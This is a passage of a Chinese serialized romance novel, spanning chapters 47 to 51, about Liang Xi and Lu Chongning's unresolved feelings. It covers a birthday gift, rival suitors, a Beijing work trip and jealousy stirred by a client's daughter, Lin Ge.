梁喜一度对这个群名很无语,来的路上路崇宁让梁喜在群里给信航发位置,信航一开始说走不开,要晚点,刚才又说快到了,变化如此之快不过梁喜知道信航来是为了跟路崇宁聊马有平的事,从安北县回来之后信航跟路崇宁说过,但有些细节还得见面细聊。
拿完串串煮上,蘸料也打好了,信航掐点一样过来,跟孟相帆寒暄几句坐到他旁边的空位开吃。
几个人都熟,没必要客气,没一会儿撸光的签子便插了半桶,肚子填个底才开始聊天。
“相帆,听小宁说你爬雪山去了。”
“啊,去爬了乌库楚,没看我都黑成碳了吗?”
信航特意又仔细看一眼,“是挺黑,跟我比没啥,要跟喜喜比的话特别强烈。”
梁喜正跟牛肉丸“作战”,怕入嘴太烫,每次吃之前先用筷子戳个洞,然后劈开两半,让汁水流出来,可面前这个牛肉丸实在太滑,她戳了两下没成功。
信航和路崇宁同时伸手要帮忙,被梁喜拒绝,终于在自己执着的努力下戳开,吹了两下才吃。
孟相帆作为旁观者,不是第一次目睹这种场面,他原本以为三人青梅竹马,感情好是应当的,后来发现并不是
信航问孟相帆:“你晚上住哪?”
“随便找个地方住,在化城待两天见见朋友,我就回家了。”
“找啥地方啊,住我家吧,我那房子两室,平时只有我自己。”
信航说完冲路崇宁使眼色,让他跟着让一让。
“也行。”路崇宁说:“你去信航那住吧,别客气。”
孟相帆还有点犹豫,信航拍拍他肩膀,“佳人没约的话就这么定了啊!吃完跟我走。”
“行,我跟你去。”
他们几个聊天的功夫梁喜已经吃饱了,靠着椅背双眼放空,懒洋洋的,像一只打盹小猫。
孟相帆感觉时机差不多,拿纸巾擦擦嘴,问梁喜:“你哪天生日啊?”
“八月二十二,怎么了?”
路崇宁冲孟相帆使眼色,可他貌似不想接茬,路崇宁直接站起来,“跟我出去抽支烟。”
孟相帆还没反应过来,被路崇宁直接拽走,下到商场一楼外面去抽。
“小宁,怎么了?”
路崇宁点了根烟,“信航在呢。”
“他是你发小,你喜欢梁喜他不知道吗?”
路崇宁摇摇头,“没明说过。”
孟相帆神情复杂地盯着他,“信航是不是也喜欢梁喜?你俩都知道对方的心思,不愿捅破窗户纸,对吧?”
路崇宁惆怅地裹了口烟,没正面回答,信航喜欢梁喜这件事他也是这次回来后发现的,高中时信航和他俩不在一个学校,偶尔放假信航来家里吃饭,三人见一面聊聊天。
“感情的事真复杂,搞不懂,三个人就更复杂了,处理不好连兄弟都没得做。”孟相帆转而叹了口气,“你自己看着处理吧,只一条,对自己好点儿,别什么苦都自己憋着。”
“嗯。”
孟相帆看他弹烟灰那潇洒的架势,说:“梁喜介意你抽烟吗?”
“她让我少抽点,别的没说。”
“那是为了让你多活几年。”
路崇宁笑了,呼出一股烟,“梁喜长寿就行,我无所谓。”
“滚滚滚!”
第48章 第四十八章 生日快乐,我的喜喜。……
吃完饭, 外面已经黑天了,路崇宁和信航在车里谈事,梁喜和孟相帆站在车后不远处的路灯下面吃冰淇淋等着。
“你给我买的啥味?”孟相帆脸上表情有点拧巴。
“柠檬, 一块钱一根, 不喜欢吃啊?”
“喜欢,你那个呢?”
“葡萄。”
“多少钱?”
“八块。”
孟相帆张大嘴, 整个人都不好了。
成功把他骗到, 梁喜笑笑, “我这个也一块。”
“不信。”
“骗你是小狗。”
“这还差不多。”
吃了几口, 孟相帆突然说:“你还喜欢小宁吧?”
梁喜咬着木棍愣住
孟相帆料定一样笑了声, 如果陌生人发出这种笑梁喜会觉得局促和紧张,但孟相帆是朋友,虽然达不到交心的程度, 可他并没有站在看热闹的立场上。
笑声过后,孟相帆仰头看向路灯上落停的喜鹊,神情恢复认真,“小宁跟我说过, 他的人生被压垮过两次, 一次是家里的变故, 一次是你甩了他, 第一次他有勇气站起来是因为你一直在他身边, 精神依托很重要, 第二次他被压弯的背始终没有站直,作为朋友挺心疼他的, 有人在挣扎中成长,有人在成长中挣扎,他没得选, 我跟你说这些不是请求你在原地等,只是你要不要再给他一次机会?过尽千帆两人都还没变,我觉得是件珍贵也很值得敬佩的事情。”
相比路崇宁的犹犹豫豫,孟相帆更喜欢打直球,虽然他表白过的两个女孩子都以分手告终,但他们在一起的过程很美好,不爱了和平分手,各自精彩,所以在他眼里,真诚为上。
梁喜扔掉木棍,说:“你知道当年我跟路崇宁表白几次他才答应我吗??”
“你跟他表白?几次啊?”
梁喜伸手,“三次。”
孟相帆瞪大眼睛,感觉胡子都要飞起来了。
“这次该换他了吧。”
梁喜说话时看着前面路崇宁的方向,他的手从车窗伸出来,懒散地垂向地面,爱人的细微动作总充满吸引力,比如此时此刻,梁喜不知道一只手而已有什么可看的,还是不自禁被吸引过去。
“我记得高中那会儿小宁跟我说过,梁叔管他叫“儿子”,因为他
爸妈都没了,所以梁叔把他当自己的孩子,还说要把他填户口本上,但他没同意,我觉得是因为你。”
“我爸只跟我说手续不好办,没说路崇宁不同意。”
“他寄人篱下,如果再和你早恋,万一被梁叔知道,他怎么在你家继续待下去啊。”
梁喜从未细细想过这些,那个相对单纯的年纪,想法也简单,她以为路崇宁不和她好只是因为不喜欢,或许中间某个过程他突然心动了,所以才答应和梁喜在一起。
很多事情经不住回头,更经不住细想,梁喜在这个夏季的某一天,普通的一个晚上忽然彻悟,路崇宁曾经真切地喜欢过她,过去五年,两人隔着遥远海岸,任何微小的乱想都能压死那段短暂相恋,梁喜觉得她可能缺少一些坚定吧,因为她的脑子里至今缺少一个画面,路崇宁亲口说喜欢她的画面。
如果曾经拥有,是不是每一次的乱想最终都会被那个画面覆盖,她也不会在一句无心的话语或者一个不经意的眼神中患得患失
车里,信航递给路崇宁一盒烟,“同事给的黑兰州,尝尝。”
路崇宁接过拆开,食指在烟盒一侧敲了两下,一根烟冒头,他低头咬出来,点燃吸了一口,给出评价,“嗯,够劲。”
信航笑笑,“这盒新的,你拿回去抽吧,我那还有。”
路崇宁没客气,收着了。
“马有原他妹疯言疯语,不知道哪句真哪句假,我拿到的那个手机号,查了一下机主,你猜是谁?”
一听信航这么问,路崇宁预感不太好,“谁?”
“吴青。”
“和梁叔认识的吴青是同一个人吗?”
“是。”
路崇宁感觉他们那些人之间一定发生了什么事,形成只有一个缺口的圈,而这个缺口则是梁辰义留下的信,路崇宁顺着里面的内容撕开,不知道最后会看到什么,也许竹篮打水,也许超乎想象
“我会抽空继续跟进吴青这条线,你在单位也侧面打听一下,不过宁可什么打听不到也别让吴青发现,都是老狐狸,贼着呢。”
“知道。”
信航向窗外弹弹烟灰,问:“你去广州忙啥了?”
“老板带我见世面。”
“咋见的?”
路崇宁苦笑一下,抽了口烟,说:“陪老板打高尔夫,抽雪茄,见一些大老板谈生意。”
还见了女人,路崇宁不想说,怕传到梁喜耳朵里,虽然他拒绝了一个又一个。
“看来你老板真打算培养你当接班人呐。”
“是吧。”
“你还那想法吗?”
路崇宁点点头,“我要不起。”
无法承受的份量,到头来只会反噬,他从自己父亲身上已经得到了足够的教训。
烟抽完,路崇宁说:“相帆这两天麻烦你了。”
“说啥屁话,跟我还客气。”
“行,我走了,回头打电话。”
“走吧。”
路崇宁下车把孟相帆叫过来,换他上车,路崇宁则带梁喜去找自己的车。
梁喜放眼一望,“停哪了?我有点忘了。”
“我也忘了。”
“”她刹住脚,给左边开过来的车让路。
路崇宁先到对面,发现梁喜没跟上,转身又回来接她。
“钥匙呢?”
“你包里。”
梁喜翻包掏出来,什么时候放的?
车钥匙是最原始的状态,什么装饰也没挂,看起来光秃秃的,梁喜塞给路崇宁,两人手指若有若无地擦过。
上车刚系好安全带,路崇宁把后座的礼品袋拿过来递给梁喜。
“什么?”
她从里面掏出一个布袋,打开发现是包。
“和老板在商场买衣服的时候看到的,感觉适合你。”
包的牌子梁喜知道,便宜的也得几千。
“生日礼物。”
“还有好久呢。”梁喜心里高兴,但又不想表现得太明显,“再别买这么贵的东西,我那个帆布包挺好的。”
“我自己没什么花销,不给你花还能给谁。”
话语里带着一丝潇洒,说完路崇宁启车开走。
梁喜仔细把包塞回布袋,整理的时候在盒子底部看到一张卡片,她拿出来看,上面写着:生日快乐,我的喜喜。
我的?
我的!
梁喜抿抿嘴唇,压制翘起的嘴角,把卡片悄悄放回去
自从梁喜通过老王答应去参加学习交流会之后许京平的花送得越来越频繁,平均两三天一束,直接送到工作室,每次送的花都是红玫瑰,热烈惹眼,而且送花的老板也是同一个。
在持续两周之后梁喜终于忍不住问送花大哥,“许先生在你们那包月了吗?我让他别送了怎么还送?”
大哥比较冷酷,笑也不笑,说:“没包月,包年了,他转了我一年的花钱。”
“”
梁喜还没说什么,工作室其他两位姐姐听了跟佩姐面面相觑,最后将羡慕的目光投向她,佩姐问:“你和小许处上了?”
“没有。”
同样的问题梁喜答过好几遍,可佩姐还是不厌其烦地问,尤其在她和周靖哲闹不愉快之后,好像听到梁喜说“没有”就能得到某种慰藉一般。
确实,人的幸福感很多时候要从比较中获得,这也是自我安慰的力量吧
自从那天梁喜撞见,她再没见过佩姐和周靖哲私下有什么交集,佩姐整日闷闷不乐,周靖哲的话也少了很多,一心做黑陶,也不下楼和佩姐闲聊了。
梁喜预感他俩之间不是普通的闹别扭,要么佩姐家里知道了,要么周靖哲那边有什么新情况,梁喜比较倾向后者。
这样的僵局一直持续到他们去北京出差学习前几天终于被打破,佩姐连续两天没来上班,也没告诉谁,一个姐姐问周靖哲知不知道什么情况,周靖哲说不知道,转头他碰上梁喜的目光,匆匆躲闪开。
他在撒谎,梁喜笃定。
晚上下班,等其他人都走了,老王叫住梁喜,他先是叹了口气,然后说:“你来工作室也不短了,有件事应该比我知道得早,佩佩和靖哲以后佩佩不来上班了,靖哲是我一手带出来的,我舍不得放走,以后我会看着他,别再整出乱七八糟的事。”
梁喜没正面回复知不知道,而是说:“师父,你别上火。”
“不上火,解决完了。”
“你和师娘明天去天津吗?”
“明天中午的飞机,我让靖哲送我俩去机场。”
两人正聊着,冷酷的送花大哥又来了,进屋说:“梁女士,您的花到了。”
说完塞给梁喜,转身离开。
今天的花送得有些晚,浓厚的玫瑰花香气扑鼻而来,梁喜面无表情放到一边。
老王饶有意味地笑笑,“咱家都快变成花店了,你还没动心啊?”
“没有。”
梁喜感觉老王还要叹气,赶忙表态,“师父,我的感情问题你就别操心了,注意身体。”
“前段时间吃饭你三叔还问我呢,我给他讲了许京平,他觉得不错,让我劝劝你,你这孩子,油盐不进呐。”
“我口淡。”
梁喜将“油盐不进”贯彻到底
“等啥时候见到京平,我跟他好好唠唠,他要想一条道走到黑,我无话可说,老头子不管了,不管了。”
梁喜笑笑,把花放到老王面前,“师父,赏赏花,长命百岁。”
老王被她逗笑,把玫瑰花转来转去,也没看出什么好。
第49章 第四十九章 梁喜穿了他扔掉那件。……
路崇宁从广州回化城几乎没休, 第二天就到公司上班了,同事在背后经常议论,说他工作太认真, 有点没必要, 搞得别人好像多散漫似的,这些声音从下传到上, 连刘俊华都知道了。
阿布看见路崇宁, 赶忙
把他叫过去。
“小宁哥, 下个月中秋节, 刘总让准备一些礼品, 给公司的合作方,还有项目上的同事。”
项目不下百人,肯定不会都送, 路崇宁刚要问,阿布说:“给主管和主管级别以上的人,你这边统计一下游乐场那边的家庭住址,礼品自己要, 或者直接邮寄给父母也可以。”
“知道了。”
“谢谢小宁哥。”
“客气。”
路崇宁编辑好文字发到部门工作群里, 他最想要周胜的家庭住址, 之前入职时周胜填的联系地址是他的出租屋, 不是父母地址, 其他几个人陆陆续续发了, 周胜晚上才发,说白天在工地忙, 没看手机。
他这边刚在群里报完,路崇宁还没来得及看,一个跟路崇宁关系不错的同事私聊他, 说:“显摆他干活多啊!妈的,白天在办公室躺了一天,工地上根本没去。”
路崇宁翻到周胜发的家庭地址,化城杨家镇全喜村,周国富收。
看到明确信息,路崇宁一下想起之前去全喜村时信航遇到的那个姓周的大爷,难不成是同一个人?
地址全部收齐后路崇宁整理成电子版,又打印了一份,隔天给阿布送去。
刘俊华还没回来,阿布过得很自在,每天不是吃零食就是刷视频,要么边吃边刷,路崇宁敲门三声,听到“请进”才进去。
“阿布,我刚把收件信息发你了。”
“啊!”
阿布用力敲下回车,屏幕亮了,赶忙打开看。
“合作方的信息整理了吗?”
“弄好了。”
“我看下有没有遗漏的。”
阿布找到表格发给路崇宁,他没马上打开,而是说:“我一会儿回去看,如果有我再告诉你。”
“好的。”
路崇宁转身要走,阿布叫住他,“小宁哥,我前天在街上看见梁喜了。”
“昂。”
“她是不是谈恋爱了?”
路崇宁的身子又转回来,脸上神情骤然冷下,“谁告诉你的?!”
“我看见她和一个男的在街边吃冰淇淋。”
揪起的心又回落,路崇宁淡淡地说:“那是我朋友。”
回到办公室,路崇宁赶紧打开表格,查找吴青的名字,重要的合作方就那几个,大概率会有吴青,但还要眼见为实。
直到吴青的名字真切出现在眼前,路崇宁松了口气,把电话号码和住址记下来,然后扫了一眼其他人,没什么问题后回复阿布,说这次过节送的礼品份数比较多,有个别的地方偏远,快递不到,他可以开车送过去,阿布说太麻烦了,不好意思,路崇宁又说了一遍她才同意。
吴青的电话号码和他留在安北县精神病院的号码不一样,分别归属两个运营商,住址则在化城一处高档小区,房子很贵,和刘俊华家南北两个方向。
路崇宁本想把号码和地址发给信航,可又怕他忙,想等等再说,不过周胜家属这条线他可以亲自捋过去,下面只要等阿布那边采买礼品了。
明天梁喜要去北京,今天路崇宁不想加班,早早把工作处理完,午饭过后,他打算开车去项目上,从那边直接回家。
刚出办公室,刘俊华打来电话,说他在厦门转机,大概四点钟落地,让路崇宁去接他,同行的还有林总,刘俊华说他过来参观一下,顺便考察考察化城有没有可投资的项目。
路崇宁想起刘俊华说要把林总女儿介绍给他认识的事,隐隐预感这几天不会消停
应刘俊华要求,正装去机场接那两位老板,路崇宁不得不先回家换衣服。
等他到家的时候梁喜也在,正坐在地上收拾行李,见路崇宁回来还有点意外,“今天这么早。”
路崇宁盯着她的衣服一下愣住了,印着LX的黑色短袖正穿在梁喜身上,被他亲自扔掉的那件本以为梁喜从不进屋动他的东西,在他后悔之后回来找的时候却发现短袖不见了,他不能问梁喜,也不敢问,眼下短袖穿在梁喜身上,更像一种无声的回击,让路崇宁无地自容。
他去沙发那边把抱枕拿来给梁喜,“地上凉,跟你说过好几次了,别总坐地上。”
“没事。”梁喜屁股抬了抬,把抱枕垫下面。
“早上不是去工作室了吗?”
“明天出差,师父下午给我放假。”
路崇宁转身回自己屋,找出黑衬衫和西裤,刚把身上短袖脱掉,梁喜推门进来,两人谁也不躲,习惯成自然了
“问你呢?怎么回来这么早?”
路崇宁捞起衬衫穿上,边系纽扣边说:“一会儿去机场接老板和客户,老板让我穿正装。”
梁喜拉过他,正面朝向窗口看了看,“衣服有褶,脱下来我给你熨一下。”
路崇宁低头,也看见了,赶忙脱掉,“我自己来。”
说着走进洗手间,梁喜随后跟去,见裸着上身的路崇宁在有限的视线里晃,他从洗手台下面的柜子掏出手持熨烫机,转身时差点撞到梁喜。
光滑的胸膛像一面墙立在眼前,梁喜感到一股温热蔓延脸颊,她一把抢过熨烫机,“你去把裤子拿来。”
路崇宁挠挠头,赶紧去拿。
梁喜熨衣服的时候他就在一旁站着看,一下看衣服,一下看人,这件短袖路崇宁穿刚好,梁喜穿有点长,到她腿根那里,随着身体摆动,里面的运动短裤漏出来一角。
“明天几点车?”路崇宁问。
“九点多。”
“我送你。”
“不用,打车就行,你该上班上班。”
衬衫褶皱不多,没几下便熨好了,梁喜从衣挂拿下来甩了两下,递给路崇宁,又把西裤夹上。
都熨好之后梁喜关门出去,让路崇宁在里面换,等他出来,梁喜瞥了一眼,说:“老板是不是让你接女客户啊?”
穿这么帅
路崇宁笑了声,“男的。”
“皮鞋我收起来,在鞋柜最里面。”
“嗯,我自己找。”
把鞋子擦了擦,路崇宁又去找梁喜,“我晚上大概率不能回家吃饭,你别等我。”
梁喜抬头又低头,“噢”了一声。
路崇宁怕她不高兴,走过去蹲下,“带驱蚊水了吗?”
“酒店应该有。”
“我走了。”
“嗯。”
梁喜假装冷静,头也不抬,实际上已经拿错了衣服
“到北京给我打电话。”
梁喜这才看他,“你晚上不回来了?”
“回,怕时间晚,你都睡了。”
“快走吧,一会儿堵车来不及。”
路崇宁站起身,依依不舍出家门
两个小时开到机场,距离预定的降落时间还有半小时,再加上下飞机、取行李,怎么也要一个点。
路崇宁把车停在停车场,点了根烟慢慢等,时间漫长,他只能自己找事打发时间。
四点钟,他准时去到达大厅等候,随着人流陆续出来,刘俊华跟林总终于现身,手里各拿着一个行李箱。
路崇宁迎过去,“刘总,林总,行李给我吧,咱们去停车场。”
说完接过行李箱,在前面带路。
林总看着路崇宁挺拔的背影,问刘俊华:“崇宁这大高个子,有一米九吗?”
“好像差不多吧。”
“东北人确实个子高。”
“也有矮的。”
比如他自己,不过刘俊华在外多年已经没有多少本地口音了。
“他多大来着?”
“二十六。”
“好年纪,长得还帅,大把时光等着他享受呢。”
两位老板从机场出来照到阳光那一刻,感慨人生已过半百,长江后浪推前浪,他们还不知道能蹦跶几年。
在停车场找到车,路崇宁把行李箱整齐摆到后备箱,两位老板都坐后面,副驾驶则是梁喜的专属抱枕,被太阳晒得热乎乎,像极了梁喜放假在家睡觉的模样。
“刘总,阿布给林总定了酒店,我们先到酒店可以吗?”
刘俊华转头问林总,“放完行李咱们再去吃饭?”
“行,全听刘总安排。”
路崇宁导出酒店地址,顺着路线往化城开。
路上,刘总和林总一直在聊什么项目,什么合作,最后话题
转到林总的女儿林格身上。
“等小格研究生毕业后我打算让她回国到家里企业锻炼锻炼。”
刘俊华看向前方开车的路崇宁,说:“林格那孩子念的名校,长得又漂亮,跟模特似的,哪个小伙子要是娶到她,真是八辈子修来的福。”
路崇宁左耳听右耳冒。
林总听到女儿被夸,骄傲地挺起胸膛,“小格是很优秀,就是一直没找男女朋友,说没遇到喜欢的,心气高,我是管不了,小宁单身吧?”
路崇宁刚要回答,被刘俊华抢过话去,“单身,主要是年轻,都不急。”
“是,咱们为人父母的比孩子着急。”
刘俊华:“小格哪天回来?”
“后天飞北京。”
“邀请她过来玩玩呗,化城有林场,天然氧吧,还有民宿,各种体验项目,到时我让崇宁陪着,开车去哪都方便。”
没人接话,林总面带不悦地朝前看。
刘俊华清清嗓子,路崇宁不得已接了句,“噢,化城除了林场,附近还有温泉,也不错,看林小姐想去哪。”
林总这才露出一点笑意,“行,我问问,我女儿被我惯坏了,一身大小姐脾气。”
听到“大小姐”,路崇宁眼前浮现的却是梁喜的脸
晚上在化城最贵的酒店吃饭,两位老板推杯换盏,路崇宁以开车为由躲过这顿酒,陪着吃完饭又分别把他俩送回住处,等自己回到家已经快十一点了。
屋里照例只有玄关处的灯亮着,每每他回来晚,梁喜都会为他留灯。
路崇宁小心翼翼,怕弄出声响吵醒梁喜,就在他要回房间时听到对面卧室门开了。
梁喜露出一个小脑袋,头发散落,“哥。”
路崇宁走过去,“把你吵醒了吧?”
“没事,桌上有水果,你吃点。”
说完脑袋又缩回去,门关上。
路崇宁抬起的手在定格几秒后缓缓落下。
第50章 第五十章 那我要是交女朋友呢?
梁喜和周靖哲的高铁座位挨着, 路上她一直睡觉,后半段才醒,周靖哲问她饿不饿, 要不要吃点什么, 梁喜只喝了水,不想吃东西。
“许老师来接咱俩吗?”
“我没让。”
周靖哲笑得意味深长, “喜喜你眼光真高啊!”
梁喜冷漠回应, “跟眼光高低有什么关系。”
周靖哲顿了一下, 自卑从心底溢出, 化为满面不甘, “我知道你们都瞧不起我。”
“此话怎讲?”
他张张嘴,没往下说。
梁喜把矿泉水瓶收起来,望向窗外, “我不关心你们的私事。”
换言之她都知道,但没兴趣聊。
朝阳站人来人往,暑期客流量大得跟下饺子似的,梁喜和周靖哲好不容易挤出来, 迎头看见许京平, 他站在第一排, 穿着真丝的黑衬衫, 既显眼又凉快。
“不是不让你来接吗?”
许京平笑得眼睛都没了, 拿过梁喜行李箱, 说:“别人可以不接,但你来我肯定接。”
“许老师。”
许京平冲周靖哲点点头, 全部注意力又移回梁喜身上,“坐车累了吧?”
“不累。”
“饿不饿?”
“不饿。”
梁喜忙着给路崇宁发信息,回答得有点机械。
“这边。”
梁喜被许京平扯走, 去停车场,周靖哲在身后偷偷拍了一张照片,拍完赶紧给路崇宁发过去,附一句话:“你准妹夫亲自接站。”
信息石沉大海
直到晚上十点多,路崇宁终于回周靖哲,“以后这种照片不要给我发了。”
周靖哲解释:“我寻思给你汇报一下你妹的感情进度”
“我不说第二次。”
周靖哲被噎得一句话说不出来,其实他是受许京平之托,有气也得忍着,不能让梁喜和路崇宁知道
三天学习过得飞快,最后一天结束,许京平找梁喜和周靖哲吃烤鸭,本来梁喜和魏孺约好了,考虑许京平可能要说比赛的事,梁喜只好跟魏孺改到第二天中午,吃完她正好去车站。
虽然曾在北京当过“牛马”,但梁喜一次没吃过烤鸭,今天算尝新鲜了,没想到临出发前周靖哲说肚子不舒服,不去了,梁喜感觉他是故意的,又不能拆穿,只能硬着头皮自己去。
见面第一句,许京平说:“生日快乐,喜喜。”
他带来一个某蛋糕品牌的黑天鹅蛋糕,梁喜没吃过,只知道很贵。
“你怎么知道我生日?”
“你身份证写着呢。”
梁喜点点头,“谢谢,下次别买,太破费了。”
坐下后许京平问她吹不吹蜡烛,梁喜狂摇头,“别让我丢人。”
“你哥记得你生日吗?”
“早上发信息了。”
“噢。”
前半段一直有服务员在,等快吃完的时候梁喜才问许京平报名比赛的事,他吱吱呜呜半天才说:“名额被周靖哲抢走了。”
“抢?”
梁喜不解
许京平放下筷子,“本来定好的名单里有你,今天临时通知我,把你换成了周靖哲。”
他冷笑一声,“一个投资方的姐姐点名他参加,你们工作室只有一个名额,所以只能给他。”
梁喜倒淡定,一副习以为常的样子,“没事,理解。”
“对不起,是我没办好。”
“跟你有什么关系,下次再参加呗。”
许京平心里有愧,但梁喜过分淡定的模样倒引起了他好奇,“你是不是提前知道点什么内幕啊?”
梁喜摇头,“不知道,只是你说的情况我不觉得意外罢了。”
“人精。”
梁喜呲牙笑笑,许京平莫名一愣。
“怎么了?”
“没什么。”
“嗯?”
许京平扶了下镜框,“你笑的时候很好看。”
笑容在梁喜脸上完全消失,“我跟你说过了。”
“我知道你喜欢路崇宁,我可以等。”
如果爱情可以靠等来,那过去五年又算什么?
这个话题一时半刻没法了断,梁喜只能跟许京平聊别的,“最近生意怎么样?”
许京平回得毫不谦虚,“还行,赚了不少。”
“恭喜发财。”
“借你吉言。”
吃饭在祥和中收尾,第二天梁喜返程,路崇宁却没来接站,本来说好的,可他临时有事,让信航代替。
出站口,梁喜见到信航第一句问:“警察叔叔不忙啊?”
“昨晚在队里待了一宿。”
说完打了个长长的哈欠。
“走吧,送完我你快回去睡觉。”
“没事儿,上午睡了。”
两人上车,信航轻车熟路往梁喜家开。
“我哥忙什么呢?”
“陪老板应酬呗,福建那边来了一个客户,贼有钱,小宁这几天当地陪呢。”
行吧,忙点好。
只是四天没见,梁喜有点想他。
“我妈没再说要给你介绍对象吧?”
梁喜笑笑,“没有。”
“这老太太,唉。”
“还不是因为你不去相亲。”
“我有喜欢的姑娘,相哪门子亲。”
梁喜扭头,“谁啊?我认识吗?”
信航抿抿嘴,不答,梁喜以为他不好意思,也没逼问,等想说的时候自然会说。
“我哥这几天应该没在家吃饭,冰箱没菜,一会儿咱俩在楼下吃点吧。”
“我单位还有事,就不吃大餐了,吃馄饨行吗?”
“行,你吃玉米肉。”
“你吃白菜肉。”
两人相视笑笑,认识二十多年,彼此的喜好绝不会记错
吃完饭信航把梁喜送到单元门口,没进屋就走了,路崇宁快十点才回来。
梁喜正在喝水,看见他突然出现眼前,差点呛着。
“回来了?”
两人异口同声。
梁喜擦擦嘴角的水,见路崇宁一脸疲惫,“喝酒了吗?”
“没喝。”
他看着梁喜,问:“学得怎么样?”
“上课没睡觉。”
路崇宁笑
笑,梁喜从他身边走过,可没走出两步又倒退回来,凑近仔细闻了闻,一瞬变脸。
“怎么了?”路崇宁不解。
梁喜冷笑一声,要走,被路崇宁一把拽回来,“有话说。”
“你喷香水了吗?”
路崇宁皱皱眉,下意识抬起手臂去闻。
梁喜知道他从不用香水,而且这个香水的味道很甜,肯定是女人无疑,蹭了这么多在他身上,两人离得是有多近?!
梁喜说完离开,回屋把门“砰”地关上,上床睡觉。
路崇宁被震得脑袋嗡一声,快步走到梁喜门前,喊了声“喜喜!”
她没回应。
“喜喜”
“睡了!”
梁喜翻身,把被子蒙过头,谁知路崇宁直接推门而入,走到她身旁一把掀开被子。
梁喜闭眼,转头背过去。
路崇宁单膝跪在床边,自上而下看着她,气氛安静,只能听见路崇宁粗重的喘息。
突然床单忽悠一下,梁喜慌忙睁开眼,路崇宁双手撑在她身体两侧,视线对上,他问:“生气了?”
这样的距离让梁喜心跳加速,咚咚咚咚,每一下都无比清晰,她慢慢往下滑,想去抓被子,可下一步的动作被路崇宁预判,他压着她肩膀,音量抬高,“问你话呢!”
“不生气。”
路崇宁双手握拳,“那我要是交女朋友呢?也不生气吗?”
“关我什么事。”
沉默两秒,路崇宁慢慢松开手,起身走了。
门关上,灯也关了,屋里彻底安静下来,窗外月色照在梁喜清冷的脸上,一滴泪从眼角划过,继而数不清的泪滴混在一起,浸湿枕巾。
方才伪装的淡定此刻退去假面,眼泪止也止不住。
果然不爱没用,再怎么用力也没用,或许路崇宁并非有意,但梁喜从未像此刻这样妒忌那个待在他身边的女人,那些乱七八糟臆想的画面不可控制地在脑子里跑来跑去,踏平她多年精心维护的花园
上午在工作室忙过一阵,梁喜被老王派去刘俊华公司,他说刘总还要做一个黑陶摆件,梁喜纳闷怎么还要做,老王开玩笑说大老板都心性不定,正常。
梁喜没告诉路崇宁,因为这两天没怎么理他,也不能说不理,必要的话还是会说,但明显路崇宁被甩脸子了。
从工作室打车过去,抵达后梁喜先去阿布办公室,说明来由,阿布有点不好意思,说刘总还没来,让梁喜稍等一下。
会客室沙发是皮的,木质扶手,特别像三叔他们单位的风格,梁喜坐下后阿布给她拿了瓶水,说:“你和小宁哥没一起来啊?早上我看见他了。”
“没有。”
“小宁哥最近忙,帮刘总招待客户,还有客户家的千金大小姐。”
噢,原来香水味是千金大小姐的
梁喜冲阿布笑笑,“你忙吧,我等会儿。”
“行。”
等阿布离开,梁喜掏出手机打发时间,她心里乱,什么也看不进去,app挨个打开,再挨个关掉,最后关上手机闭目养神。
大约等了二十分钟,走廊传来一阵嘈杂的人声,紧接着会客室门打开,一位身着旗袍的漂亮女人走进来,身后跟着路崇宁,他还是开门那一位,绅士得很。
看见梁喜,路崇宁和那位女士同时愣住,梁喜站起来,问:“刘总来了吗?”
女人看向路崇宁,他缓过神,“来了。”
梁喜从女人身边擦过,走出两步忽然刹住脚。
怀疑,确认,原来香水味是她的
路崇宁和女人盯着梁喜的背影,她再次抬脚往刘俊华办公室走。
刚要敲门,路崇宁伸手拦住,问:“你怎么来了?”
“干你屁事!”
声音不大,但字字刺耳。
梁喜看都不看他,敲了三下门,听到里面说请进,推门而入,把路崇宁关在门外。
“刘总。”
“诶!梁喜,请坐。”
梁喜感觉刘俊华热情得有点异于往常,“谢谢刘总。”
刘俊华也跟着坐下,问:“刚才看见你哥了吗?”
“看见了。”
“他自己吗?”
梁喜恍然,“还有一位女士。”
“其实这次不是我找你,是朋友家的女儿,噢,就是你说的那位女士,叫林格,她想买几件艺术品放家里。”
“艺术品的话,需要我师父亲自做了,可以让林小姐把要求告诉我,我负责传达。”
刘俊华摆摆手,“你哥说你手艺好,林格想让你帮她做。”
梁喜直接拒绝,“还是我师父来吧,别砸了他的招牌。”
“等下你们谈谈看。”刘俊华拍下大腿,起身开门,冲对面喊了声:“阿布,你去把林格叫来。”
“好的,刘总。”
很快林格从隔壁会客室过来,进屋便自我介绍,“你好,你是小宁妹妹吧?我叫林格。”
盘靓条顺有气质,跟模特似的,妆化得很精致,美人一个,只是“小宁”从她嘴里叫出来是那么的熟络。
梁喜同样回应,“你好,梁喜。”
“梁?梁喜?”
林格看向刘俊华,他使了个眼色,林格这才没往下问,而是说:“常听小宁提起你。”
梁喜皮笑肉不笑。
刘俊华招呼她俩,“来,坐下聊。”
身着旗袍的林格连坐下去的姿势都很优雅,她缓缓说道:“我想让你帮我做一件黑陶艺术品,再为我爸的公司做一些风水摆件,订单量有点大,不知道你们工作室是否能接?”
“具体的数量和样式需要详细要求,不然有大有小,不好预估工作量和工期。”
“你们工作室方便参观吗?我想去看看。”
“方便,林小姐想什么时候去?”
林格看眼手表,“现在吧,参观完中午可以一起吃个饭。”
梁喜心想,吃饭没必要,她没胃口。
刘俊华问:“梁喜你怎么来的?”
“刘总,我打车。”
“那正好,让小宁开车送你,顺便带林格过去参观。”
刘俊华掏出手机给路崇宁打过去,说完事由,没两分钟路崇宁便敲门进屋,手里拿着车钥匙。
“走吧,林小姐。”梁喜的客气发自内心,毕竟是准客户。
“好。”
三人从董事长办公室出来,一起往停车场走,梁喜在前,路崇宁被林格拖着说话,想迈大步子去追梁喜,可林格穿的是旗袍,还有高跟鞋,根本走不快。
找到路崇宁的车,梁喜倚着后车门,双手抱臂,好整以暇地看着后面那两位,目光笔直毫不闪躲,她不知道路崇宁是否心虚,而她呢,不过是摆出不在意的模样,实则暗自较劲,想看透他们二人的关系。
只是她高估了自己四两拨千斤的能力,因为今时今日的路崇宁心思不好猜了。
50-60
第51章 第五十一章 报备一下。
路上, 梁喜坐在后边一言不发,前面林格问一句路崇宁答一句,内容中规中矩, 但问话语气隐约暧昧。
梁喜给师父发信息, 说带刘俊华朋友的女儿过来参观,老王听了紧急带领工作室的人打扫卫生, 展柜擦得锃亮。
把人带到, 梁喜的任务就完成了, 她不想接待林格, 把人甩给老王还有周靖哲, 哄漂亮姐姐开心是周靖哲的本事,适合他。
